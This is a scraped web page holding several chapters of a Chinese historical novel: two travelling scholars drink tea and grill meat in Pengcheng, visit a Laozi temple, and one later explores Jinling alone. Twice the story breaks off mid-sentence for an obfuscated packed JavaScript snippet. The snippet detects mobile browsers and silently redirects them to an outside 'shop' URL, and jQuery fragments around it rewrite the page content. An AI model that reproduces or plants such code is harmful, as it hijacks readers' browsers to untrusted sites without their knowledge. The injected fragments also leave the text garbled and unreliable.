“是他,盛德安学士一生坎坷,颠沛流离,足迹所到之处皆留佳话,当年他因得罪御史而被贬至彭城,他在彭城任职一年,政绩卓著,那座塔就是当时的民众为纪念他的建立,茶会之所以会在那儿举行,也是因为这个原因。”顿了顿,贺渊又道,“说起最会品茶的文人,世人第一个想到的往往都是陆圣,但其实盛学士才是真正的茶中圣手。” …… 喝茶之时,佐以趣谈,如此便是茶叙,贺渊博览群书,说起各种典籍趣谈、名人轶事,可谓手到擒来。 叶青言是世家子弟,自然听的得趣,时而还会接上几句。 可听着听着,叶青言想起他们上回对坐饮茶时的无声情景,不由笑了起来。 贺渊见状,不解地“嗯”了一声。 叶青言抿了抿唇,有些不好意思道:“我想起我们上回对坐喝茶时候的场景了。” 贺渊一怔,随即也笑了起来:“可见人的际遇总在变化。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148274|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶青言对此表示赞同。 就在两人茶叙闲谈之际,有风从湖水尽头生起。 微风掠过湖面,带动水波滟涟,将金乌炽热的倒影摇碎,幻作千万缕彩霞,美不胜收。 叶青言静静注视着眼前美景,一时没有仔细去听贺渊的话。 觉察她的突然失神,贺渊问道:“在想什么?” 叶青言看着眼前景色,喝了口茶,说道:“水光浮日色。” 贺渊挑了挑眉,也看向了湖面,接道:“林疑彩凤来。” 水光浮日色,林疑彩凤来。 明明是出自两位不同诗人的两句诗,明明是完全没有什么联系的两句诗,此时细细品来,却有一番别样味道。 两人显然都察觉到了这一点,相视一笑。 贺渊拿起了面前的茶杯示意。 叶青言笑着举杯应和。 两人再度畅聊了起来。 饮茶是闲事,茶叙是闲聊。 既是闲聊,便无拘话题。 他们从彭城的水光山色,聊到江南的旖旎风流,再到京都的大气森严,甚至还说到了北境局势。 “自北境一战后,瓦剌败走,瓦剌老可汗伤重难愈,同年入冬的时候就死了。他的九个儿子为了争夺可汗之位一直断断续续地交战。就在前年,他们终于分出了胜负,老可汗的四儿子巴图鲁赢下夺嫡之争,成为瓦剌的新任可汗。” “巴图鲁上位后,以铁血手腕对瓦剌内部进行了大清洗似的整顿,很多老牌贵族对此怨声载道,老可汗的幼弟顺势带着手底下的一帮人向北迁移,自立为王。” “当地人称他们一个为南可汗,一个为北可汗,两块地盘中间就只隔着瓦剌的一条额尔古纳河,两年来,南北之间战乱不断。” “接连不断的战乱,使得瓦剌人民的生活艰苦非常,我去年造访瓦剌,曾听当地人说,跟几十年前相比,他们那边能够放牧的草场越来越少,冬天也越来越冷,每年冬天他们那片地界,无论南北都会有大批牲畜和人口死去。” “他们的军队一次又一次南下劫掠也只能止一时饥渴,改变不了最本质的生存问题。” “巴图鲁野心勃勃,断不是那种只为眼前权利就不顾族民生死之人,看他如今作为,显然是要放弃北方这块土地,一旦他统一了瓦剌,他定会大举兴兵南下,挥起手中的屠刀来收割咱们大庆子民的庄稼和财富。” …… 北境,真是很沉重的一个话题。 这个话题之后,两人之间迎来了片刻时间的安静。 此时天已将暮,夕阳微暖的光线,照耀在湖面上,也照在湖边那些看风景的游客身上。 二人的视线随着暮光望向远天。 不知过了多久,贺渊放下茶杯对叶青言道:“走?” 叶青言想了想,点头:“好。” 残阳西斜,两人踩踏着暮色离开了茶楼。 在贺渊的带领下,两人来到城中一间客栈,客栈坐落在曲径通幽之处,并不如何出名,却有着难得一见的好风景。 这一晚,叶青言翻来覆去,没有睡着。 她一直想着北境的那些事,京城的那些事。 内忧盘根错节,外患虎视眈眈,大庆朝看似蒸蒸日上,实则危机四伏。 又翻了个身,反正也睡不着了,叶青言索性披衣起来,趿着鞋走到窗边。 窗外是湖,湖的尽头有山。 无论是湖还是山,都还处在沉眠之中,居住在彭城里的人亦在睡梦之中未曾醒来。 叶青言静静地看着,夜风拂动碧波,带出哗啦啦的水声,落入安静的客栈里。天地一片安静,安静得仿佛……这天下只有她一个人是醒着的,前所未有的清醒。 53. 瓦片烤肉 第二日清晨,叶青言依旧是卯时初刻起的床。 昨晚的情绪变化没有给她的作息带来任何影响,只有那稍显疲惫的眼神证明她没有睡好。 她用了五息时间静意,然后套鞋穿衣,铺床叠被,最后才开始洗漱。 待一切收拾妥当,她再次来到窗边,推开窗户,依然坐在昨晚的那个位置,她面朝窗外,对着初生的晨雾和远处透出的天光,缓缓闭上眼睛,在脑海里默默颂读本经,直至神清气爽,才重新睁开双眼。 晨光渐盛,南方湿意极重,于是雾也重了起来,朝阳的光线被湿润的水汽阻扰,落在她的脸上,耀的她更加苍白,但她眼中的疲惫已然消失。 到底年轻,身体的自愈能力极好。 默读之后,便是早饭时间,叶青言对着铜镜整理衣着,然后从房间来到了大堂。 下到大堂之前,叶青言先去了贺渊的房门前一趟,在门缝间留了一张自己稍后会单独外出的字条。 她本不想留这种字条,觉得没有必要,他们毕竟还没有熟悉到需要相互告知行程的地步。 可犹豫再三,她还是留了字条,无论如何他们都是一起来的客栈,不能缺了礼数。 因着时间还早,叶青言下到大堂的时候,厅堂里坐着的人还不多,但很热闹,小二和帮厨们紧张地进行着早膳前的准备工作。 叶青言低调地寻了个角落的位置坐下,问忙碌的小二要了一碗粥,一个咸鸭蛋,以及一笼热乎乎的肉包子,包子是芹菜猪肉馅的,一笼共有六个,个头不大,闻着极香,吃着也极香。 吃完早点,又用清茶漱了口,叶青言抬手招来小二,向他打听城里有哪些可供游玩的景点。 小二虽然忙碌,可听有客人向自己打听景点,便滔滔不绝起来。 什么云龙山、文昌阁、大钟寺,项王旧居等等。 得到了答案,叶青言起身谢过小二,而后便走出了客栈。 她其实有更好的游行向导,嘉言公子见闻广博,所选的景点虽不为多数人知,却极具观赏性,就如他当初在济南府推荐的那几个地方,无一不是最佳的观赏景点,彭城之内,他定也能推荐出同样的好去处。 那些景致极好,但叶青言还是想看看大多数游客所会选择的景点。 大多数通常代表了普通,同时也代表了现实。 无论是年后的科考,还是将来的入仕,她所要为之争取的,都是大多数人的利益,那她自然要去了解大多数人的选择。 不知何时开始的,她的眼光总是习惯性地落在人群之中,思民所思,想众所想。 走出客栈。 朝阳已然全部跃出地平线,晨曦送来暖意,空气中的雾气尽数被日光驱散,霞光染红了天际,看着很是美丽。 清晨从客栈出发,直至暮时,叶青言才重新回到客栈。 她只用了一天时间,就走访了小二哥口中所有的著名景点。 冬日里风大,天冷,眼下又无雪,所以很多景致并没有小二哥说的那样美丽。 回到客栈。 叶青言第一眼就看到了贺渊。 他坐在大堂临窗的一个角落里,那个位置很偏,很不起眼,但叶青言还是一眼就看到了他。 此时大堂里的很多人都在看他。 因为他在烤肉。 小小的泥炉上架着一块瓦片,平铺在瓦片上的薄薄肉片遇热蜷缩,很快熟透,只需再撒上点盐就可以食用。 贺渊边烤边吃,时而小酌两口。 他的动作娴熟而优雅,透窗而入的微风轻轻带动他的衣袖发梢,端的是慵懒闲适,浮生偷欢。 烤肉的香味本就霸道诱人,经风一吹,立时流散到客栈大堂的各个角落,食客们闻之,纷纷放下手里的筷子,叫来掌柜,指着贺渊的桌子,表示自己也要那样一桌。 掌柜无有不应,当即吩咐小二准备。 大堂内瞬间就忙碌了起来。 叶青言看着眼前这副热闹景象,心中很是感慨,她发现贺渊身上有一种玄妙的、难以言说的魅力。 这种魅力里带着股令人信服的力量。 “还没进门,就闻到你这的烤肉香味了。”叶青言抬步上前,动作自然地坐到了贺渊的对面。 “竟还是来了个分肉的人,早知如此我就回屋烤了。”贺渊这话说得极无奈,但他手上的动作却无丝毫停顿,利落地翻肉、撒盐,最后搛起,放到叶青言面前的碗里,眼神示意她尝尝看。 叶青言将肉片吃了,肉质鲜嫩,咸度适中,吃着还有一股淡淡的炭香,十分美味。 “好吃啊!比我想象的还要好吃。”叶青言吃惊地看着贺渊,“公子你竟连这也精通?” 贺渊笑了笑,道:“我曾去过延吉,在那里跟当地人学过烤肉。” 延吉一带素以烤肉闻名。 “原来如此。”叶青言了然,但她依旧觉得吃惊,不是吃惊于对方的技术,而是惊讶于对方竟会去学这个技术。 时下的读书人都讲究君子远庖厨,他倒是不介意…… 看着面前滋滋冒油的烤肉,叶青言迟疑道:“我来试试?” 贺渊看她:“真要试试?” 叶青言点头。 贺渊收回正在翻肉的筷子,抬手示意对方可以开始。 天渐渐黑了,街上的行人纷纷往家里走去,客栈大堂的肉香却愈加浓烈起来,越来越多的食客燃起了炉火,烤起了肉。 叶青言从竹筒里取了一双干净的筷子,夹起碗里的生肉,放到瓦片上。她翻肉的次数有些频繁,似乎是担心一不留神肉就会烤焦。 在她一眼不错地看顾下,肉片终于被烤了出来。 烤好了肉,还需再撒些盐,她先撒了一点,想了想,又撒了一点。 无论是翻肉,还是撒盐,她的动作都显得很笨拙,是很认真地那种笨拙,但正所谓,认真的笨拙,配上漂亮的脸蛋,就是绝对的可爱。 这会儿的叶青言是真得有些可爱。 可爱。 这显然不是一个可以用来形容男子的词语,尤其是叶青言这样的男子,意识到这一点,贺渊醒过神来,他为自己心底突然冒出的这个字眼而感到尴尬,下意识移开目光,因为转首的动作过于仓促,而显得有些失态。 叶青言没有注意到贺渊的失态,她烤了两片肉,将其中一片夹到自己碗里,又将另一片放到贺渊面前的碗里,道:“你尝尝看。” 贺渊低头尝了,他吃得很慢。 “不错。”良久,他才抬起头道。 叶青言见状,也将自己面前的吃了。肉片烤得一般,边缘有些焦糊,有些柴,也有些咸,但还算可以入口。 “自己觉得如何?”贺渊问她。 叶青言:“还行,没有想象得那么糟糕。” 贺渊挑了挑眉:“看来你很满意自己的成果。” “毕竟是第一次。”叶青言有些不好意思,“能烤成这样我确实很满意。” 贺渊想了想,道:“是比我第一次烤的要好些。” 叶青言看着他,好奇问道:“你第一次烤得不好吃吗?” 贺渊:“不是不好吃,是根本没有熟,吃完第二天我都走不动路了。” 叶青言更好奇:“为何会走不动路?” 贺渊抿了抿唇,叹道:“拉虚脱了。” “……” 叶青言没忍住笑了出来,是极畅快的那种笑,她含笑的眼睛就像夜空里的星星,明亮至极,眼眸深处罕见地带起了无限的温暖。 贺渊看在眼里,也跟着笑了起来:“无论如何,都恭喜你学会了烤肉技术。”贺渊说着,举起了酒碗,然后饮下:“当浮一大白啊。” 看到对方手里的酒碗,闻着那即便隔着一张桌子也能入鼻的霸道酒味,叶青言有些犹豫。 贺渊见状,不 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贺渊烤着肉继续道:“这酒价低,味烈,虽口感不佳,却能迅速提供能量,是百姓们冬日里最大的热量来源,尤其是在北地,好多女子冬日里也会喝上两口。” 听了贺渊的解释,叶青言又拿起酒碗喝了一口,还是很辣,但不知是不是了解了这酒的背景,她竟能接受很多,身体好似也跟着暖和了起来。 邻桌的两人似乎是喝多了,他们没了最开始的友善,而是为了某个观点激烈地争吵起来。 掌柜听着吵架声,赶紧过来打圆场,费了九牛二虎之力才把这两位客人安抚好,和好的两人,又重新笑谈了起来。 温暖的烤炉,鲜香的烤肉,冲鼻的烈酒,还有不时传进耳里的笑声,使得叶青言两人间的气氛变得安静了起来,只能听到炉子里噼啪的炭裂声,肉片经过炙烤的滋滋声,以及碗筷碰撞的声音。 夜越来越黑,街道上鲜有行人,店里的食客也走了几桌,剩下的都是住店的游客,宵禁时间就快到了,小二也在掌柜的示意下,关起了大门,只留下一扇门通风。 忽有寒风呼啸,二人的视线随之而去,望向了窗外,今夜月圆,月光照在屋顶地面,很像湖面反射出来的光线。 “每逢月圆倍思亲。”贺渊突然说道,他用两根手指捏着酒碗轻轻摇了摇,说道,“我这次南下,其实是回乡过年的。” 叶青言想了想,说道:“除夕欢聚,应该的。” 贺渊摇头:“我已经好几年没有回过家乡了。因为不想面对父亲,不想听他那些与自己理念完全不同的迂腐观念,无论我父亲,还是族中长辈,所思所想都是家族利益那些东西。” 说到这里,贺渊饮了一口酒,才继续说道:“其实从小到大,我父亲都待我极好,但他的好,总让我感到压抑,以前我不懂这是为何,直到后来才明白,我之所以感到压抑,是因为那些都不是我想要的。十四岁之前,我是一个没有故事的人,因为我这一生太过顺利,直到我抛开家族桎梏,走出长乐。” 贺渊想起了当年。 还不到三岁,他就得手绑着毛笔学写字,小小年纪起得比鸡早,睡得比狗晚,世人都说他是天才,又何曾看过他背后所付出的艰辛。 叶青言也想起了当年。 她在母亲的鞭策下,放弃了可爱的宠物,放弃了鲜艳的颜色,生生扭转了自己的喜好。 是从何时开始的,她不再将课业当成一种折磨? 似乎是在认识了二殿下以后,为了不被殿下看出破绽,也为了能更好地同他交流,殿下他……真的影响了自己很多。 “我也想京城了。”叶青言望着窗外,轻声说道。 想念京城里的那些人。 怀念这种情绪是真的可以传染的,不需要说话,也不需要眼神。 大堂的这个角落再次安静了下来,对坐的两人很长时间都没有说话,只静静看着夜幕下的月华,默默地想念着。 54. 欣赏?心动? 叶青言两人在彭城停留了七日方才离开。 从彭城向东南行去五十余里,两人便来到了泗州。 泗州毗邻洪泽湖。 做为神州大陆最著名的湖泊之一,洪泽湖发源于黄河,古时黄河之水南徙经泗水,再取淮河下游河道入海,可由于常年的泥沙堆积,导致淮河河口失去了入海水道,无法流入大海的黄河河水在盱眙以东潴水,将临近的富陵湖、破釜塘等大小湖沼,以及一些不知名的洼地连成一片,汇聚成了洪泽湖。 洪泽湖北部极为繁荣,越往南走,湖水的流势就愈发陡急,居住在两岸的村民也随之变得愈发稀少起来,往往要行走上半日,才能看见几户人家。绝大多数时候,眼中所能见的,都只有湖泊和野地。 好在贺渊曾经游历过此地,对这一带的风土人情极为了解,他一路走一路讲解,叶青言听着他的解说,再看着四周风光,倒也不觉得无趣。 两人向着东南方向,走了两日,直至踏出洪泽湖地界,又往前走了半日,迎面便看见一座山。 此时立冬已过,但眼前这座山峰依然青意十足。 这座山名丹山,又称老子山,因老子曾在此炼丹普救民疾而得此名。丹山山峰不高,青树掩映之间,可以看见十余丛桃花正在盛开。 老子山上有数个温泉泉眼,就是这些泉眼催开了山中桃花。 青枝碧花之间,隐隐可以看见老子庙的檐角。 叶青言望着那处,问道:“那就是你路上所提到的老子庙?” 贺渊点头:“隆冬时节依旧花开不败的,也就只有老子庙了。” 贺渊边说,边继续往前:“因为那几口泉眼,这座老子庙的香火极盛,我曾想进林一窥这冬日春景,却遭观中道士拦阻,据说只有时常在老子庙供奉香火的香客,才有资格前往桃林观赏小住。” “山下村民也不行?” “不行。” “如此,他们没有意见吗?” “怎会有意见?”贺渊看向叶青言,想到她的生活环境,解释道,“无论是建造小院还是温泉引流,道观都需要村民的援手,援手便需要提供酬劳,更遑论此举还能带来更多的后续利益,这等互利互惠之事,村民们哪里还会有意见?” 微顿了顿,贺渊淡淡再道:“百姓们所求的,从来都是温饱,而非享乐,他们是这世间最朴素的人。” 其实在贺渊第一个反问出口的时候,叶青言就隐约有点儿明白了,但毕竟是十六年富裕生活所造就的思维惯性,她下意识就想到了利益分配问题。 “是我偏狭了。”她道。 听了这话,贺渊沉默了会儿,说道:“你很了不起。” “什么?”叶青言诧异,她觉得自己可能听错了。 贺渊看着她,很认真地又重复了一遍:“你很了不起。” 原来没有听错…… 但叶青言不敢接受,说道:“虽不知你是何来的结论,但我那样的想法,哪里能与了不起这三个字沾边。” “我游历大陆数年,去过很多地方,见过很多人,你是我见过的所有人里,最会反省自身的一个,这样的你当然很了不起。每个人都会犯错,所以错误并不可怕,得知错误后的态度才是最重要的,知错是一种辨别是非的能力,人只有知错并改正错误才能真正地成长起来。”贺渊注视着叶青言,满脸赞叹道,“知错能改,善莫大焉,这是古时流传下来的谚语,可古往今来,真正能做到得又有几人?” 即使听了贺渊的解释,叶青言也依旧不觉得自己有什么了不起的。 因为就她所知,就还有两人能做到贺渊所说的知错就改。 一个是淮之,一个是二殿下。这两个都是她的身边人,其中一个还是京城出了名的纨绔。 连自己和淮之都能做到的事情,又怎么能称得上了不起呢? 贺渊看着她的神情变化,有些意外,问道:“你不认同?” 叶青言:“我不是怀疑你的判断,只是……如此就能称上了不起,未免也太容易了些。” 贺渊双眉微挑,笑道:“可不容易哦,知错改错,这不仅需要强大的自省精神、知耻精神,还需拥有莫大的勇气。” 叶青言想了想,也笑了起来:“如此说来,我还真是很了不起。” 无论如何,能被人夸奖都是一件值得高兴的事儿,尤其说出这个夸奖的人,还是举世公认的奇才。 说话间,两人来到了山下城外。 贺渊:“可要进城看看。” 叶青言颔首。 老子山下的城镇,名字就叫老子城。 老子城是座县城,归淮安府管辖。 与别处的县城相比,这座山下城明显要小很多,但已是洪泽湖上游极繁华热闹的一处地方。 这都得益于老子庙的存在,每到冬日,淮安府附近的富户便会来此避寒。 庞大的人流为当地百姓带来很多利益,每个走在街上的当地人的脸上无不洋溢着轻松的笑容,这一瞬间,叶青言突然就理解了贺渊所说的——“百姓是这世间最朴素的人”这句话的含义。 此去金陵,还需再行半日,翻过一座名为北将军山的高山,才算真正进入到金陵地界。 眼下是未时,时间尚早,可看着老子城内来往的行人,两人还是决定先在此间休息一夜,待到第二日清晨再继续前行。 蝶宿是老子城里最好的客栈,紧挨着穿城而过的河流,环境很是清幽,但这并非叶青言两人选择这间客栈的原因。 他们之所以选择留宿这间客栈,纯粹是因为客栈名字。 蝶宿,庄周梦里捉蝴蝶,如此庄子的一个名字却出现在老子城里,实在很难让人忽视。 贺渊是好奇心极重的一个人,自然不会放过这等有趣之事。 经他同掌柜的一番攀谈,便知晓了其中原委。 原来这间客栈背后的东家与老子庙的观主是从小到大的冤家对头,他们总是相互比较,东家眼见观主越来越得村民敬重,认为自己低了对方一头,便斥巨资开了这间客栈,专门用来招待前来避寒的富户,还特意将客栈名字取为蝶宿,意指老庄并列,无先后之别。 真是有趣的交情,贺渊感慨。 叶青言两人在客栈稍稍休整了会儿便又出了客栈,在城里闲逛了起来。 山脚下的气候明显要比其他地方温暖,哪怕是隆冬时节,吹拂而过的风也依旧带着暖意,越往城里走,道路两旁的树木便越密,银杏也越来越多,这很好地说明了这座城镇的气息。 是的,气息,每座城镇都有独属于自己特殊的气息,京都的气息在与真龙天子所散发的威严,彭城的气息来自于几经修葺的巍峨城墙,那老子城的气息便在于巍然耸立的老子山与围城而种的银杏树。 传闻老子钟爱银杏,所以老子城内的村民便种了数千株银杏以表对圣人的尊敬。 叶青言两人沿着城中主道缓缓朝前走着。 一条无名的河流沿着主道缓缓流淌,从其中一条拱桥上望去,可见河道蜿蜒。 被斜阳一照,就像是午后绣花乏了的绣娘随意扔在桌上的金线。 这样旖旎的形容,自然是出自贺渊之口。 走过主街,两人来到一座山峰之下。 山间到处都是青树,再往深处走,可以看见很多花树,花树之后是一幢古朴但庄严的道观,黑檐白墙隐在树林之中,瞧着颇为美丽。 老子庙就如同悦来客栈一样,遍布神州,比比皆是,可看着眼前这座庙宇,依旧令叶青言赞叹。 穿过青树与花树,踩着光滑的青石,两人来到了老子庙前。 庙宇前的广场上竖着很多座石碑,碑石上密密麻麻刻着很多字。 贺渊和叶青言都是读书人,一眼便看出石碑上所刻的内容。 上面所载,乃老子平生经历及所著,观主显然是花了心思的,再加上泉眼加持,难怪来此处烧香的香客如此络绎不绝。 走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157595|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过石碑便进入了道观内部,观中供奉着老子,叶青言两人如普通游客那样上香、供奉,然后离开,继续在道观四周闲逛。 闲庭信步,不一会儿,两人便来到一片山崖之前。 站在崖边,从高处往下望去,可以看到崖下长着好多青树,还能看到很多水雾蒸腾,雾气蒸腾之处,便是桃花盛开之所,花树掩映间,还可以看到很多幢样式清雅的小楼,那里想来就是传说中的汤池小院。 “传闻当年老子之所以会选择在此炼丹就是因为那几口泉眼。” 这个传闻叶青言没有听过,她转眸看向贺渊,等着他的后话。 叶青言没有问,贺渊也无需她问,只一眼他便明白她的意思,这是他们一路同行所产生的默契。 “古时江南一带常有背疽之症,无数百姓受此病症折磨,老子游历经此,不忍见百姓遭此病痛,遂驻留问诊,他走访了很多地方,最后在这老子山上寻到了解决方法。” “就是那几口泉眼?” 贺渊点头:“泉眼附近的石块经泉水长期浸泡,沾染了很多矿物,老子将那些石块与防风、白藓皮、地肤子、蛇床子等药一同捣成细粉,涂抹在皮肤之上,对治愈背疽之症有显著的效果,此法后来在江南一带普及,使得背疽这一困扰江南民众多年的病症变得再无威胁可言。” 叶青言望着泉眼方向,心下疑惑这样的大事怎会没有记载到老子的生平记录里。 贺渊见状,笑笑解释道:“这只是我在一本杂谈上看到的记载,也不知是真是假。” “是何杂谈?” “《阴阳杂录》,里面不仅有老子,还有孔、孟、韩非等诸子百家一些不为人知的事儿。” 叶青言:“不知能否借我一观?” 贺渊:“这册书我留在了京都,待下次进京,我在遣人给你送去。” 叶青言:“有劳公子。” …… 两人有一搭没一搭地说着话。 群峰之间的暮色要比平原上早很多。 天时尚早,可远处的太阳却已靠近山峦线条的最上缘,光线随之变得暗淡。 暮风穿过山峰间的青树,落在两人的脸上,里面带着些湿意,微有些寒。 叶青言极少观赏这样的美景,她静静望着前方,年轻秀美的脸庞被夕阳镀上一层淡金,显得格外端庄圣洁。 贺渊的视线不知何时落到了叶青言的脸上,然后便再也没有移开。 他们一人在看风景,一人在看看风景的人。 四周一片安静。 叶青言突然指着山脚下一处格外突出的建筑,问道:“那里是蝶宿?” 贺渊收回目光,望了过去,点头:“是蝶宿。” “我记得它不高,从外表上看也不突出?” 贺渊:“你没有记错。” “那位东家在建客栈的时候一定用了很多巧思。”叶青言赞叹,随即她想到了林翊和沈昭,若殿下是观主,想来淮之也会倾力建造那样一座客栈…… 思绪飘远,等回过神来,叶青言很为自己的这个想法而震惊,她无法理解自己怎么会连这事儿都能联想到殿下他们。 真是好生奇怪。 “怎么了?”见人似情绪有异,贺渊问道。 叶青言摇头:“没事。”顿了顿,她又道,“天快黑了,我们下山吧。” 贺渊点头。 两人朝着山下走去。 等他们回到客栈,夕阳已经落到山后,繁星还没有完全露出真容,日暖风和的老子城迎来了最昏暗的时刻。 一壶清酒,几道当地特色的美食。 叶青言与贺渊相对而坐,如之前的每一个夜晚一样,他们吃饭、交谈,直至夜深,两人才各自回了自己房间。 夜色下的老子城非常宁静,没有任何嘈杂的声音。 所以这个夜晚,叶青言睡得极好。 与之相反,住她隔壁房间的贺渊却是翻来覆去,没有睡着。 55. 独逛金陵(上) 清晨五时,叶青言准时睁眼,照常用了五息时间静思明心,然后起床、穿衣、洗漱,待一切收拾妥当,才开门走出房间,下到客栈大堂,还没来得及找位置坐下,就被一跑堂的小二叫了住。 “叶公子。” 叶青言疑惑望去,问:“你叫我?” 小二哥点头,迎着对方不解的目光,笑着解释道:“是昨日与您同来的那位公子,他因家中出了急事,今儿天没亮就退房离开了,他离开前嘱咐小的见着您了告知您一声。” 天没亮就离开了?叶青言诧异。 看嘉言公子昨天白日里的神情也不似出了什么要事……难道是昨夜自己睡下后得到的消息? “他是几时离开的。”叶青言问。 “他走那会儿天还没亮,约莫还不到寅时。” 叶青言闻言若有所思,好一会儿,才道:“我知道了,有劳小二哥。” 说罢,叶青言从袖袋里取了块碎银递过去。 小二千恩万谢地接过。 叶青言寻了个临街的位置坐下,又报了几样早点让小二送来。 吃着早点,叶青言心中依旧想着贺渊离开的事情。 究竟是出了何事,让他突然这么突然地离开? 想着想着,叶青言不觉有些不愉快起来,同行这么久他们也算得上是朋友,临别之时他难道不该亲自同自己说一声?起码也该留张纸条说明一下情况。 无论如何,也不该这样不声不响地走掉。 想到此节,叶青言不悦更甚。 其实仔细回想,从昨晚下山时候开始,对方对自己的态度就变得有些奇怪,具体是哪里奇怪叶青言也说不上来,就是觉得有些奇怪。 他似乎总默默地看着自己。 或者不应该说看,那种看,更像是打量、观察。 似乎自己身上有什么让他很感兴趣的东西。 可这又是为什么呢? 叶青言非常确信自己昨日的行为与往常时候没任何不同。 …… 罢了,每个人都有自己的秘密。 叶青言摇了摇头,不再继续想这个问题,就当对方真是昨夜收到了家中急信,才焦急离开的吧。 只用一顿早饭的时间,叶青言便将贺渊离开所带来的败兴情绪消化,心境重新归宁。 贺渊的离开,似乎没有给她带来任何变化。 用完早饭,叶青言回到房间,整理行囊,而后再次出现在大堂,退掉房间,牵着被喂饱的马儿,伴着初升的朝阳,向着城外而去。 往南行去二十余里,叶青言再次来到一座山峰之前,这座山与老子山不同,山中没有道观,也没有花树,山林极密,远远的,只能看到一两个上山的行人。 那些人背着箩筐,瞧着应是到金陵讨生活的附近村民。 叶青言牵着马儿走上山道,她得翻过眼前这座名叫北将军山的山峰,才能到达她此次游历的目的地——金陵。 越往山上走,道路就越陡峭,好在叶青言经常锻炼,走起来也不算费劲。 两个时辰后,叶青言翻过北将军山,来到了金陵的东北大门。 递上路引和通关文书,叶青言顺利进入到金陵城内。 作为南方自古以来的第一大城,金陵城的底蕴不言而喻,再加上其地处东南,水陆交通便利,一直都是神州境内最繁荣的城市之一。 走进城门,入眼便是嘈杂的人群。 东北大门毗邻下城区,走在其间,人间烟火的气息扑面而来。 摇着拨浪鼓叫卖的货郎,挑着馄饨摊子走街串巷的张氏馄饨,扛着糖葫芦吆喝的小贩,还有推着大木桶四处送热水的附近村民。 除了这些跑生活的,街角处还围了一群闲人,咋咋呼呼地嚷嚷着什么,走近一看,才发现那竟是个赌钱摊子。 时令已经进入到十一月下旬,随着地里的农活进入尾声,聚众赌博的人也变得越来越多。 叶青言没有多在此处停留,她牵着马儿一路往前,很快就离开了下城区所在的范围。 走过一座拱桥,来到主街,叶青言的注意力再次被街上的行人吸引。 此时在主街上行走的大半都是女子。 这些大姑娘小媳妇们无不是华衣美服,她们基本都没有带帷帽,青春娇美的面庞就这么大大方方地展露在阳光之下。 叶青言站在人群之外,只听得莺声燕语不断,应和着姑娘们嫩藕似的手腕子上戴着的一溜几个的银镯翠镯不断撞击出叮咚清响,满大街的铺撒开来,脆生生地有若天籁。 叶青言向其中一个路人打听过后方知,原来今日是江宁织造所办设的赶集日,好些平常难得的布料都会在这个集日上展示,所以姑娘们才会如此趋之若鹜。 叶青言对布料没什么兴趣,但既然遇到了,便不会错过这样的盛会。 她跟着人流一起到了集会地。 不愧是由江宁织造牵头举办的集市,集中所展,全是潞绸、罗缎和缂丝等名贵料子,其中最引人注目的当属“浮云丝”与“十三丝棉”。 这两种布料,一者以轻薄著称,一者以保暖闻名,相同的是两种布料都价格昂贵。 叶青言各买了三匹。 集市里的姑娘实在太多,叶青言牵着马,走在其中颇为不便,所以买了布料后,她便离开了集市。 站在金陵宽阔的主街上,叶青言一时不知去往何处。 自桃源村同行后,她所有的行程都是跟着贺渊的,往哪走?吃什么?贺渊总有别出心裁的建议,且每一个提议都不会让人失望。 眼下对方不在,叶青言感到些许不适。 但她只用一息时间,就调整好了心态。 沉吟片刻,叶青言向附近一位店家打听了金陵城最好镖局的位置。 到了镖局,查验了走镖所需的一应文件后,叶青言将刚刚买的六匹布料和路上采买的其他一些物件都交给镖局,要求他们在除夕之前将东西送到位于京城的成国公府。 知晓是去京城的生意,还是送至国公府的,镖头脸上的神情瞬间变得严肃起来,他承诺定将东西送达,并报了一个价格。 叶青言没有还价,当场就付了银子。 离开镖局,她就近找了间客栈住下,在客房简单梳洗了一番后,才下到客栈前堂,要了一碗饭和几样当地特色的吃食。 这间客栈靠近夫子庙,人流量极大,此时正是饭时,进出客栈的人不少,叶青言找了个无人的位置坐下。 不多时,饭菜就备好送了来,八宝盐水鸭、松鼠鳜鱼、瑕黄豆腐、金牌蜜汁藕,还有一碗白生生的粳米饭。 因为就一个人吃,所以叶青言只点了四个菜。 盐水鸭鲜嫩,鳜鱼咸甜,豆腐滑嫩,蜜汁藕软糯,每盘菜的味道都很不错,叶青言吃得非常满意。 吃完了午饭,叶青言回到客房,用茶水漱口,将行李里的笔墨拿出来,坐到桌前,一边研墨一边细细回想自己这一路的见闻。 片刻后,叶青言提笔落字。 她这一写,就写了将近两个时辰。 写完后,她又检查了一遍,确认没有问题了,才将文章誊抄,最后落款“青山”。 这是她思考许久的笔名。 叶青言的这篇文章名为《学无止境》,开篇直接引了荀子的“学不可以已”,随之是对读书益处的大肆渲染,而后话锋一转,就教育普及性的观点进行了深入论述,直言村镇教育资源稀缺,官学束脩昂贵,普通农门学子求学艰难。 叶青言将文章装进信封,再揣到怀里,对着铜镜整理衣着,然后走出房间,走出客栈,去到附近不远的驿站,花了八个铜板,让驿站将她的文章送到茅山书院下的惜阴文社。 文社,顾名思义,是探讨学问的地方,自嘉和帝重启科举考试后,不少才子便时常聚在一处交流,以文会友,久而久之便形成“文社”这个小群体。 北边也有这样的群体,最出名的是龙渊文社,而江南一带最出名的当属惜阴文社。 从叶青言打定主意要南下金陵游学时起,便派人事先了解了金陵城内相关的学院、文社,以及大儒等信息。 其实早在南下之前,她便已经开始向惜阴文社寄稿,此时的她还不知,“ 